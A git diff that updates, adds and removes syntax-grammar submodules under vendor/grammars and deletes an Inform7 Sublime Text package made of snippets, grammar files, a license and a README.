--- a/vendor/grammars/Agda.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 68a218c489c809655f74164f83b78d359a82989a
diff --git a/vendor/grammars/Alloy.tmbundle b/vendor/grammars/Alloy.tmbundle
index dfcc81df44..0a80fc74e9 160000
--- a/vendor/grammars/Alloy.tmbundle
+++ b/vendor/grammars/Alloy.tmbundle
@@ -1 +1 @@
-Subproject commit dfcc81df4453bf3669862a12073225ca210bc41a
+Subproject commit 0a80fc74e921325da23264889771a88a02877414
diff --git a/vendor/grammars/Assembly-Syntax-Definition b/vendor/grammars/Assembly-Syntax-Definition
new file mode 160000
index 0000000000..519b7b3c5f
--- /dev/null
+++ b/vendor/grammars/Assembly-Syntax-Definition
@@ -0,0 +1 @@
+Subproject commit 519b7b3c5f8428832dde72a90041d0707f831e5c
diff --git a/vendor/grammars/Atom-PostScript b/vendor/grammars/Atom-PostScript
new file mode 160000
index 0000000000..3a3d50683c
--- /dev/null
+++ b/vendor/grammars/Atom-PostScript
@@ -0,0 +1 @@
+Subproject commit 3a3d50683c198a7af5543be1d47ba33d21bb373f
diff --git a/vendor/grammars/AtomLanguageVelocity b/vendor/grammars/AtomLanguageVelocity
new file mode 160000
index 0000000000..6eb92de5a2
--- /dev/null
+++ b/vendor/grammars/AtomLanguageVelocity
@@ -0,0 +1 @@
+Subproject commit 6eb92de5a24991192192d768241be12337015884
diff --git a/vendor/grammars/AutoHotkey b/vendor/grammars/AutoHotkey
index 6ba0aedaf8..279f16cef0 160000
--- a/vendor/grammars/AutoHotkey
+++ b/vendor/grammars/AutoHotkey
@@ -1 +1 @@
-Subproject commit 6ba0aedaf8bdbdbe69b9bc1876ebd3668c8e1cca
+Subproject commit 279f16cef09be8d47dc33dc763f4a58079b4a81d
diff --git a/vendor/grammars/BrightScript.tmbundle b/vendor/grammars/BrightScript.tmbundle
deleted file mode 160000
index 905791b02b..0000000000
--- a/vendor/grammars/BrightScript.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 905791b02bfc7256604bbc874f8c259713d62b12
diff --git a/vendor/grammars/CUE-Sheet_sublime b/vendor/grammars/CUE-Sheet_sublime
new file mode 160000
index 0000000000..7f099baf68
--- /dev/null
+++ b/vendor/grammars/CUE-Sheet_sublime
@@ -0,0 +1 @@
+Subproject commit 7f099baf680744f62336edc8d7c3009187f5e572
diff --git a/vendor/grammars/CoDT7-Sublime b/vendor/grammars/CoDT7-Sublime
new file mode 160000
index 0000000000..cbb2698124
--- /dev/null
+++ b/vendor/grammars/CoDT7-Sublime
@@ -0,0 +1 @@
+Subproject commit cbb269812475da316261cfa5322f2e46623385b1
diff --git a/vendor/grammars/ColdFusion b/vendor/grammars/ColdFusion
index c54a4c5f5e..dbe2f76038 160000
--- a/vendor/grammars/ColdFusion
+++ b/vendor/grammars/ColdFusion
@@ -1 +1 @@
-Subproject commit c54a4c5f5e9b7d5992a28d9d45b9adb023520428
+Subproject commit dbe2f76038fe77fe90b4cc4a0651aa817f14f1a3
diff --git a/vendor/grammars/Cylc.tmbundle b/vendor/grammars/Cylc.tmbundle
new file mode 160000
index 0000000000..903c7804e3
--- /dev/null
+++ b/vendor/grammars/Cylc.tmbundle
@@ -0,0 +1 @@
+Subproject commit 903c7804e3a863a3a73ba05dbd35fdc01483dc82
diff --git a/vendor/grammars/Dafny-VSCode b/vendor/grammars/Dafny-VSCode
new file mode 160000
index 0000000000..55044e501f
--- /dev/null
+++ b/vendor/grammars/Dafny-VSCode
@@ -0,0 +1 @@
+Subproject commit 55044e501fe916d87fa6504c2dec6ac6012aaddf
diff --git a/vendor/grammars/Docker.tmbundle b/vendor/grammars/Docker.tmbundle
index 08585643c0..c001fb2805 160000
--- a/vendor/grammars/Docker.tmbundle
+++ b/vendor/grammars/Docker.tmbundle
@@ -1 +1 @@
-Subproject commit 08585643c0b84eb6f76ef56fbba7183185e65548
+Subproject commit c001fb280561d7c16f0f2837d76af493cf6c3bf8
diff --git a/vendor/grammars/Elm b/vendor/grammars/Elm
index 8e8af4a712..80809a07ec 160000
--- a/vendor/grammars/Elm
+++ b/vendor/grammars/Elm
@@ -1 +1 @@
-Subproject commit 8e8af4a7121bdbcff43c6cf9dca17421943af929
+Subproject commit 80809a07ecfd7682f96e0ea775fdf30bce68e6fb
diff --git a/vendor/grammars/G-Code b/vendor/grammars/G-Code
deleted file mode 160000
index 81e8b03e3d..0000000000
--- a/vendor/grammars/G-Code
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 81e8b03e3dc71f2c8eddfb389dbda21a320f45c1
diff --git a/vendor/grammars/GeneroFgl.tmbundle b/vendor/grammars/GeneroFgl.tmbundle
new file mode 160000
index 0000000000..dedc0c5df4
--- /dev/null
+++ b/vendor/grammars/GeneroFgl.tmbundle
@@ -0,0 +1 @@
+Subproject commit dedc0c5df4235a3c63969eb15a24c7d10f67b686
diff --git a/vendor/grammars/Handlebars b/vendor/grammars/Handlebars
index 94ef9439d8..9fb01fefe4 160000
--- a/vendor/grammars/Handlebars
+++ b/vendor/grammars/Handlebars
@@ -1 +1 @@
-Subproject commit 94ef9439d81d41a193487dda835d742b584659f4
+Subproject commit 9fb01fefe48532deb901926cd80774215b454ff9
diff --git a/vendor/grammars/IDL-Syntax b/vendor/grammars/IDL-Syntax
index bb21604f07..0fc6b8f6f6 160000
--- a/vendor/grammars/IDL-Syntax
+++ b/vendor/grammars/IDL-Syntax
@@ -1 +1 @@
-Subproject commit bb21604f07b5ad322757f04f7292df4f50442ad0
+Subproject commit 0fc6b8f6f6696f612e70b56ff086b3eec4d39b7d
diff --git a/vendor/grammars/Isabelle.tmbundle b/vendor/grammars/Isabelle.tmbundle
index b13c44c30f..745c337a04 160000
--- a/vendor/grammars/Isabelle.tmbundle
+++ b/vendor/grammars/Isabelle.tmbundle
@@ -1 +1 @@
-Subproject commit b13c44c30f4549d31deb293e7e341918bf2c46a7
+Subproject commit 745c337a0432270474f50d12fad7ea4aa9e0b169
diff --git a/vendor/grammars/JSyntax b/vendor/grammars/JSyntax
index 74971149b5..b20c93c2e8 160000
--- a/vendor/grammars/JSyntax
+++ b/vendor/grammars/JSyntax
@@ -1 +1 @@
-Subproject commit 74971149b5926f800b8eb157925a1670a57846b4
+Subproject commit b20c93c2e8a8704934d991120e75a32cb53e9cb4
diff --git a/vendor/grammars/Julia.tmbundle b/vendor/grammars/Julia.tmbundle
deleted file mode 160000
index e2918776e1..0000000000
--- a/vendor/grammars/Julia.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit e2918776e14506e0bc100c2501c56188acfc2bd3
diff --git a/vendor/grammars/LOLCODE-grammar-vscode b/vendor/grammars/LOLCODE-grammar-vscode
new file mode 160000
index 0000000000..2091c60ebe
--- /dev/null
+++ b/vendor/grammars/LOLCODE-grammar-vscode
@@ -0,0 +1 @@
+Subproject commit 2091c60ebe0b20e169853e5a0385b4bfb54c86f0
diff --git a/vendor/grammars/Lean.tmbundle b/vendor/grammars/Lean.tmbundle
deleted file mode 160000
index a1a3818ecf..0000000000
--- a/vendor/grammars/Lean.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit a1a3818ecfdd1365ec01ac3894106b5a70b455ac
diff --git a/vendor/grammars/Ligo-grammar b/vendor/grammars/Ligo-grammar
new file mode 160000
index 0000000000..73ffbf6f2b
--- /dev/null
+++ b/vendor/grammars/Ligo-grammar
@@ -0,0 +1 @@
+Subproject commit 73ffbf6f2b63b861d9f5165c5a64e8d4eee06ea1
diff --git a/vendor/grammars/LiveScript.tmbundle b/vendor/grammars/LiveScript.tmbundle
index 05dc46397a..d82aeb737d 160000
--- a/vendor/grammars/LiveScript.tmbundle
+++ b/vendor/grammars/LiveScript.tmbundle
@@ -1 +1 @@
-Subproject commit 05dc46397a05a28820a07b69019c3a113518ac46
+Subproject commit d82aeb737d4883d1a74aba7a07053f90211d427b
diff --git a/vendor/grammars/Luau.tmLanguage b/vendor/grammars/Luau.tmLanguage
new file mode 160000
index 0000000000..5febad5695
--- /dev/null
+++ b/vendor/grammars/Luau.tmLanguage
@@ -0,0 +1 @@
+Subproject commit 5febad569516f7a3a587b59389fc2cdc40bff972
diff --git a/vendor/grammars/MATLAB-Language-grammar b/vendor/grammars/MATLAB-Language-grammar
new file mode 160000
index 0000000000..e71df5024b
--- /dev/null
+++ b/vendor/grammars/MATLAB-Language-grammar
@@ -0,0 +1 @@
+Subproject commit e71df5024b4df6349bc6ef58bc4142aa7b309490
diff --git a/vendor/grammars/MQL5-sublime b/vendor/grammars/MQL5-sublime
new file mode 160000
index 0000000000..a41ed3b5e5
--- /dev/null
+++ b/vendor/grammars/MQL5-sublime
@@ -0,0 +1 @@
+Subproject commit a41ed3b5e5af354d9faf262794549ea44bbe5912
diff --git a/vendor/grammars/MagicPython b/vendor/grammars/MagicPython
index 820a9310f6..7d0f2b22a5 160000
--- a/vendor/grammars/MagicPython
+++ b/vendor/grammars/MagicPython
@@ -1 +1 @@
-Subproject commit 820a9310f67b452257c45332fd16433b5f63296a
+Subproject commit 7d0f2b22a5ad8fccbd7341bc7b7a715169283044
diff --git a/vendor/grammars/Modelica b/vendor/grammars/Modelica
index 10c5dc6484..c64d74b009 160000
--- a/vendor/grammars/Modelica
+++ b/vendor/grammars/Modelica
@@ -1 +1 @@
-Subproject commit 10c5dc6484b6d851a109025af64a83ae0e6a6c73
+Subproject commit c64d74b0096e7ebf5fbf1bb6812203b9b1292d6a
diff --git a/vendor/grammars/NSIS b/vendor/grammars/NSIS
index e052400204..696d06cb2b 160000
--- a/vendor/grammars/NSIS
+++ b/vendor/grammars/NSIS
@@ -1 +1 @@
-Subproject commit e052400204103acc26c14feeb624dd7ce6157611
+Subproject commit 696d06cb2bd0dfc619c989c746e4b43eea689161
diff --git a/vendor/grammars/Nasal.tmbundle b/vendor/grammars/Nasal.tmbundle
new file mode 160000
index 0000000000..beb4c5bee4
--- /dev/null
+++ b/vendor/grammars/Nasal.tmbundle
@@ -0,0 +1 @@
+Subproject commit beb4c5bee4e83de7cbf25c0cdc25e28489c8a1f7
diff --git a/vendor/grammars/NimLime b/vendor/grammars/NimLime
index 5089ecab59..1b8f439096 160000
--- a/vendor/grammars/NimLime
+++ b/vendor/grammars/NimLime
@@ -1 +1 @@
-Subproject commit 5089ecab59ed3211aa482c0fb4c5881f7f7c4e9d
+Subproject commit 1b8f4390968df8895cf81377b336efd60d21bc0d
diff --git a/vendor/grammars/NovaGrammars b/vendor/grammars/NovaGrammars
new file mode 160000
index 0000000000..c6e3be72f1
--- /dev/null
+++ b/vendor/grammars/NovaGrammars
@@ -0,0 +1 @@
+Subproject commit c6e3be72f19b428141bb31b55f15b9815b3ee329
diff --git a/vendor/grammars/ObjectScript.tmBundle b/vendor/grammars/ObjectScript.tmBundle
new file mode 160000
index 0000000000..0b7465b7f9
--- /dev/null
+++ b/vendor/grammars/ObjectScript.tmBundle
@@ -0,0 +1 @@
+Subproject commit 0b7465b7f93f65c6d649358b43272b2888c71f7a
diff --git a/vendor/grammars/PHP-Twig.tmbundle b/vendor/grammars/PHP-Twig.tmbundle
index f4f7529ac2..aedf955eba 160000
--- a/vendor/grammars/PHP-Twig.tmbundle
+++ b/vendor/grammars/PHP-Twig.tmbundle
@@ -1 +1 @@
-Subproject commit f4f7529ac2a07527caa7c9154b87c96d17e18aa1
+Subproject commit aedf955eba9753554815b2cbef5e072415e42068
diff --git a/vendor/grammars/PowerBuilder.tmbundle b/vendor/grammars/PowerBuilder.tmbundle
new file mode 160000
index 0000000000..a204c7f86e
--- /dev/null
+++ b/vendor/grammars/PowerBuilder.tmbundle
@@ -0,0 +1 @@
+Subproject commit a204c7f86e79d54425e9196853d8687bc1184015
diff --git a/vendor/grammars/SCSS.tmbundle b/vendor/grammars/SCSS.tmbundle
deleted file mode 160000
index 49a74571e7..0000000000
--- a/vendor/grammars/SCSS.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 49a74571e7346b082016168fd702d41d1d319727
diff --git a/vendor/grammars/SMT.tmbundle b/vendor/grammars/SMT.tmbundle
index b72f1aef2c..426d5f7e0a 160000
--- a/vendor/grammars/SMT.tmbundle
+++ b/vendor/grammars/SMT.tmbundle
@@ -1 +1 @@
-Subproject commit b72f1aef2c841ac2f9ff444e98a139011bd910b3
+Subproject commit 426d5f7e0a5303fedfff2465d30165dcb4fae675
diff --git a/vendor/grammars/Scenic-tmLanguage b/vendor/grammars/Scenic-tmLanguage
new file mode 160000
index 0000000000..67ef2ebfc9
--- /dev/null
+++ b/vendor/grammars/Scenic-tmLanguage
@@ -0,0 +1 @@
+Subproject commit 67ef2ebfc97fb159c063a1d8276322357c11825b
diff --git a/vendor/grammars/Stylus b/vendor/grammars/Stylus
index 61bab33f37..30908e3b57 160000
--- a/vendor/grammars/Stylus
+++ b/vendor/grammars/Stylus
@@ -1 +1 @@
-Subproject commit 61bab33f37e02aa3d30740217ecf5a95e9d1450d
+Subproject commit 30908e3b5757d6cab4bf2ce660ef89b0c614cf62
diff --git a/vendor/grammars/Sublime-Coq b/vendor/grammars/Sublime-Coq
index ea5057282e..0d1f70727b 160000
--- a/vendor/grammars/Sublime-Coq
+++ b/vendor/grammars/Sublime-Coq
@@ -1 +1 @@
-Subproject commit ea5057282e3a55f641585934511bc24f653ea767
+Subproject commit 0d1f70727b19007e55780bcd7b74f70c399eba3b
diff --git a/vendor/grammars/Sublime-HTTP b/vendor/grammars/Sublime-HTTP
index 0099998617..9938a52ba1 160000
--- a/vendor/grammars/Sublime-HTTP
+++ b/vendor/grammars/Sublime-HTTP
@@ -1 +1 @@
-Subproject commit 0099998617eb784fa27d8a47e289058d9a6307ab
+Subproject commit 9938a52ba113bb1e58eee8fc91878827c2967f59
diff --git a/vendor/grammars/Sublime-Inform/.gitignore b/vendor/grammars/Sublime-Inform/.gitignore
deleted file mode 100644
index 9bea4330f0..0000000000
--- a/vendor/grammars/Sublime-Inform/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-
-.DS_Store
diff --git a/vendor/grammars/Sublime-Inform/Inform7/book.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/book.sublime-snippet
deleted file mode 100644
index d00b609b4c..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/book.sublime-snippet
+++ /dev/null
@@ -1,6 +0,0 @@
-<snippet>
-	<content><![CDATA[Book $1 - ${2:Title}
-]]></content>
-	<tabTrigger>book</tabTrigger>	
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/chapter.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/chapter.sublime-snippet
deleted file mode 100644
index 344ae92d2e..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/chapter.sublime-snippet
+++ /dev/null
@@ -1,6 +0,0 @@
-<snippet>
-	<content><![CDATA[Chapter $1 - ${2:Title}
-]]></content>
-	<tabTrigger>chapter</tabTrigger>	
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/door.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/door.sublime-snippet
deleted file mode 100644
index 9504585bce..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/door.sublime-snippet
+++ /dev/null
@@ -1,7 +0,0 @@
-<snippet>
-	<content><![CDATA[
-${1:DoorName} is a door. $1 is ${2:Direction} from ${3:Room}.
-]]></content>
-	<tabTrigger>door</tabTrigger>
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/inform7.JSON-tmLanguage b/vendor/grammars/Sublime-Inform/Inform7/inform7.JSON-tmLanguage
deleted file mode 100644
index e5b6e92b72..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/inform7.JSON-tmLanguage
+++ /dev/null
@@ -1,34 +0,0 @@
-{ "name": "Inform7",
-  "scopeName": "source.Inform7", 
-  "fileTypes": ["i7x"], 
-  "patterns": [
-  	{  "name": "keyword.control.Inform7",
-  	   "match": "\\b(Include|Release)\\b"
-  	},
-  	{ "name"	: "comment.block.Inform7",
-  	  "begin"	: "\\[",
-  	  "end"		: "\\]",
-  	  "comment"	: "All comments in Inform7 are delimited this way."
-  	},
-  	{ "name"	: "string.quoted.double.Inform7",
-  	  "begin"	: "\"",
-  	  "end"		: "\"",
-  	  "patterns": [
-	  	  { "name"		: "keyword.operator.Inform7",
-	  	    "begin"		: "\\[",
-	  	    "end"		: "\\]",
-	  	    "comment"	: "For logic inside of strings."
-	  	  }
-  	  ]
-  	},
-  	{  "name"	: "storage.type.Inform7",
-  	   "match"	: "(Volume|Book|Chapter|Part|Section|Table)\\s+\\d?\\s+-?\\s+((?:\\w|\\s|-)*)",
-  	   "comment": "Matches headings for major sections in Inform7"
-  	},
-  	{  "name": "constant.numeric.Inform7",
-  	   "match": "([0-9])+",
-  	   "comment":"Gotta call out the numbers!"
-  	}
-  ],
-  "uuid": "0c4cbdee-beb7-4ea6-af56-27246d479373"
-}
\ No newline at end of file
diff --git a/vendor/grammars/Sublime-Inform/Inform7/inform7.tmLanguage b/vendor/grammars/Sublime-Inform/Inform7/inform7.tmLanguage
deleted file mode 100755
index 5609885ef1..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/inform7.tmLanguage
+++ /dev/null
@@ -1,74 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>fileTypes</key>
-	<array>
-		<string>i7x</string>
-		<string>inform</string>
-		<string>ni</string>
-	</array>
-	<key>name</key>
-	<string>Inform7</string>
-	<key>patterns</key>
-	<array>
-		<dict>
-			<key>match</key>
-			<string>\b(Include|Release)\b</string>
-			<key>name</key>
-			<string>keyword.control.Inform7</string>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>\[</string>
-			<key>comment</key>
-			<string>All comments in Inform7 are delimited this way.</string>
-			<key>end</key>
-			<string>\]</string>
-			<key>name</key>
-			<string>comment.block.Inform7</string>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>"</string>
-			<key>end</key>
-			<string>"</string>
-			<key>name</key>
-			<string>string.quoted.double.Inform7</string>
-			<key>patterns</key>
-			<array>
-				<dict>
-					<key>begin</key>
-					<string>\[</string>
-					<key>comment</key>
-					<string>For logic inside of strings.</string>
-					<key>end</key>
-					<string>\]</string>
-					<key>name</key>
-					<string>keyword.operator.Inform7</string>
-				</dict>
-			</array>
-		</dict>
-		<dict>
-			<key>comment</key>
-			<string>Matches headings for major sections in Inform7</string>
-			<key>match</key>
-			<string>(Volume|Book|Chapter|Part|Section|Table)\s+\d?\s+-?\s+((?:\w|\s|-)*)</string>
-			<key>name</key>
-			<string>storage.type.Inform7</string>
-		</dict>
-		<dict>
-			<key>comment</key>
-			<string>Gotta call out the numbers!</string>
-			<key>match</key>
-			<string>([0-9])+</string>
-			<key>name</key>
-			<string>constant.numeric.Inform7</string>
-		</dict>
-	</array>
-	<key>scopeName</key>
-	<string>source.Inform7</string>
-	<key>uuid</key>
-	<string>0c4cbdee-beb7-4ea6-af56-27246d479373</string>
-</dict>
-</plist>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/object.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/object.sublime-snippet
deleted file mode 100644
index 65f040af75..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/object.sublime-snippet
+++ /dev/null
@@ -1,8 +0,0 @@
-<snippet>
-	<content><![CDATA[
-$1 is a portable thing in ${2:Room} ${3:ShortDescription}
-The description of $1 is ${4:Description}
-]]></content>
-	<tabTrigger>object</tabTrigger>
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/part.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/part.sublime-snippet
deleted file mode 100644
index 9e161ccac2..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/part.sublime-snippet
+++ /dev/null
@@ -1,6 +0,0 @@
-<snippet>
-	<content><![CDATA[Part $1 - ${2:Title}
-]]></content>
-	<tabTrigger>part</tabTrigger>	
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/room.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/room.sublime-snippet
deleted file mode 100644
index b6abef4505..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/room.sublime-snippet
+++ /dev/null
@@ -1,7 +0,0 @@
-<snippet>
-	<content><![CDATA[
-${1:RoomName} is a room in ${2:Region}. "${3:Description}"
-]]></content>
-	<tabTrigger>room</tabTrigger>
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/scene.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/scene.sublime-snippet
deleted file mode 100644
index fd4be0305b..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/scene.sublime-snippet
+++ /dev/null
@@ -1,11 +0,0 @@
-<snippet>
-	<content><![CDATA[
-${1:SceneName} is a Scene.
-$1 begins when $2 .
-$1 ends when $3 .
-When $1 begins: $4 .
-When $1 ends: $5 .
-]]></content>
-	<tabTrigger>scene</tabTrigger> 
-  	<scope>source.Inform7</scope> 
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/section.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/section.sublime-snippet
deleted file mode 100644
index 7ab043cbbe..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/section.sublime-snippet
+++ /dev/null
@@ -1,6 +0,0 @@
-<snippet>
-	<content><![CDATA[Section $1 - ${2:Title}
-]]></content>
-	<tabTrigger>section</tabTrigger>	
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/Inform7/volume.sublime-snippet b/vendor/grammars/Sublime-Inform/Inform7/volume.sublime-snippet
deleted file mode 100644
index 0721fcbf14..0000000000
--- a/vendor/grammars/Sublime-Inform/Inform7/volume.sublime-snippet
+++ /dev/null
@@ -1,6 +0,0 @@
-<snippet>
-	<content><![CDATA[Volume $1 - ${2:Title}
-]]></content>
-	<tabTrigger>volume</tabTrigger>	
-	<scope>source.Inform7</scope>
-</snippet>
diff --git a/vendor/grammars/Sublime-Inform/LICENSE.txt b/vendor/grammars/Sublime-Inform/LICENSE.txt
deleted file mode 100644
index cda6f052d1..0000000000
--- a/vendor/grammars/Sublime-Inform/LICENSE.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-The MIT License (MIT)
-
-Copyright (c) 2014 Nate Dickson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/grammars/Sublime-Inform/README.md b/vendor/grammars/Sublime-Inform/README.md
deleted file mode 100644
index 3b907f1e77..0000000000
--- a/vendor/grammars/Sublime-Inform/README.md
+++ /dev/null
@@ -1,8 +0,0 @@
-#Inform7 Package for Sublime Text 2
-This package has a lot of little files that make Inform7 easier to edit in Sublime Text 2. that's why it's called what it is, you see.
-##Usage
-Grab the zip file, unzip it, and put it in your ```Packages``` Directory.
-That's pretty much it. Open an ```i7x``` file in Sublime Text 2 and it'll be all highlighted and there's a bunch of snippets you can use and all that.
-
-##Want to submit a pull request for this readme file?
-Please, please do.
\ No newline at end of file
diff --git a/vendor/grammars/Sublime-Pep8 b/vendor/grammars/Sublime-Pep8
new file mode 160000
index 0000000000..be653c638b
--- /dev/null
+++ b/vendor/grammars/Sublime-Pep8
@@ -0,0 +1 @@
+Subproject commit be653c638b2b042c90384f5d3f335d93172bcd85
diff --git a/vendor/grammars/Sublime-REBOL b/vendor/grammars/Sublime-REBOL
index 102402f71a..b685f3cff9 160000
--- a/vendor/grammars/Sublime-REBOL
+++ b/vendor/grammars/Sublime-REBOL
@@ -1 +1 @@
-Subproject commit 102402f71aa3a7770b0c06c0183eff1be78e7280
+Subproject commit b685f3cff9d7d8395fe51bcbf93fc43745169e7e
diff --git a/vendor/grammars/Sublime-Red b/vendor/grammars/Sublime-Red
index def7baed85..fb0c69926e 160000
--- a/vendor/grammars/Sublime-Red
+++ b/vendor/grammars/Sublime-Red
@@ -1 +1 @@
-Subproject commit def7baed855873ab6730502baf07ce014b922ad9
+Subproject commit fb0c69926e2f966dab413f1c34a05f376317a319
diff --git a/vendor/grammars/Sublime-SQF-Language b/vendor/grammars/Sublime-SQF-Language
index 777931999d..bfe7efe490 160000
--- a/vendor/grammars/Sublime-SQF-Language
+++ b/vendor/grammars/Sublime-SQF-Language
@@ -1 +1 @@
-Subproject commit 777931999d391173c509018fd38e4d124063f13d
+Subproject commit bfe7efe490b94cfde1f752b7d787490f4be76390
diff --git a/vendor/grammars/Sublime-Text-2-OpenEdge-ABL b/vendor/grammars/Sublime-Text-2-OpenEdge-ABL
deleted file mode 160000
index 04e4d1405c..0000000000
--- a/vendor/grammars/Sublime-Text-2-OpenEdge-ABL
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 04e4d1405c405a7fe1c949bf1e1a9f11f393a820
diff --git a/vendor/grammars/Sublime-VimL b/vendor/grammars/Sublime-VimL
deleted file mode 160000
index 4b23352ce5..0000000000
--- a/vendor/grammars/Sublime-VimL
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 4b23352ce5e48a191d55d61883a9478211df91fd
diff --git a/vendor/grammars/SublimeBrainfuck b/vendor/grammars/SublimeBrainfuck
index 571332e465..4fda534b0e 160000
--- a/vendor/grammars/SublimeBrainfuck
+++ b/vendor/grammars/SublimeBrainfuck
@@ -1 +1 @@
-Subproject commit 571332e4652cb6682dd62517deb2dd80e28a35e3
+Subproject commit 4fda534b0edfba46f1e0d920aad5f519746f2ab2
diff --git a/vendor/grammars/SublimeClarion b/vendor/grammars/SublimeClarion
index 5823e7f447..b3597c7c99 160000
--- a/vendor/grammars/SublimeClarion
+++ b/vendor/grammars/SublimeClarion
@@ -1 +1 @@
-Subproject commit 5823e7f44704eabb08673a7e32b48836141a1f8e
+Subproject commit b3597c7c993c60b2813ace6129165e6c5e9390fc
diff --git a/vendor/grammars/SublimeEthereum b/vendor/grammars/SublimeEthereum
new file mode 160000
index 0000000000..89028f53c3
--- /dev/null
+++ b/vendor/grammars/SublimeEthereum
@@ -0,0 +1 @@
+Subproject commit 89028f53c3ed40fff347c19acadc03ec6a3305a2
diff --git a/vendor/grammars/SublimeGDB b/vendor/grammars/SublimeGDB
index 0afb64f273..fcd83adef8 160000
--- a/vendor/grammars/SublimeGDB
+++ b/vendor/grammars/SublimeGDB
@@ -1 +1 @@
-Subproject commit 0afb64f2732bfb01af97f593d4f8c977a28dc510
+Subproject commit fcd83adef823885874a84bab184e086c94f689cc
diff --git a/vendor/grammars/SublimePapyrus b/vendor/grammars/SublimePapyrus
index 51ec72ab00..6dc86d921a 160000
--- a/vendor/grammars/SublimePapyrus
+++ b/vendor/grammars/SublimePapyrus
@@ -1 +1 @@
-Subproject commit 51ec72ab00cc23b6a02473ccbd024e52e2c3e3e5
+Subproject commit 6dc86d921a20573fb1be6f076a0022d4d28629e4
diff --git a/vendor/grammars/SublimePuppet b/vendor/grammars/SublimePuppet
index a90d5a4e08..2a224343d2 160000
--- a/vendor/grammars/SublimePuppet
+++ b/vendor/grammars/SublimePuppet
@@ -1 +1 @@
-Subproject commit a90d5a4e084a3bb17809e3b59033fbf813749ced
+Subproject commit 2a224343d2151b2896b6d9c48343919c06d1e695
diff --git a/vendor/grammars/Syntax-highlighting-for-PostCSS b/vendor/grammars/Syntax-highlighting-for-PostCSS
new file mode 160000
index 0000000000..575b918985
--- /dev/null
+++ b/vendor/grammars/Syntax-highlighting-for-PostCSS
@@ -0,0 +1 @@
+Subproject commit 575b918985ce82545a12615a244243e41a91cd52
diff --git a/vendor/grammars/SystemVerilog b/vendor/grammars/SystemVerilog
new file mode 160000
index 0000000000..7eca705e87
--- /dev/null
+++ b/vendor/grammars/SystemVerilog
@@ -0,0 +1 @@
+Subproject commit 7eca705e87f87b94478fe222fc91d54d488cc8e3
diff --git a/vendor/grammars/TLA b/vendor/grammars/TLA
index 7e351a9cdf..a67cbd0309 160000
--- a/vendor/grammars/TLA
+++ b/vendor/grammars/TLA
@@ -1 +1 @@
-Subproject commit 7e351a9cdf6fbf3132e35246ce190bad237fb39c
+Subproject commit a67cbd03099df412db00cae78d23c836b79ebc2b
diff --git a/vendor/grammars/TXL b/vendor/grammars/TXL
index c1c98dfa86..614cf83649 160000
--- a/vendor/grammars/TXL
+++ b/vendor/grammars/TXL
@@ -1 +1 @@
-Subproject commit c1c98dfa86a8510532aee3df99181f9e0487fee8
+Subproject commit 614cf836497338efb87909ce54700b2e18c9fa04
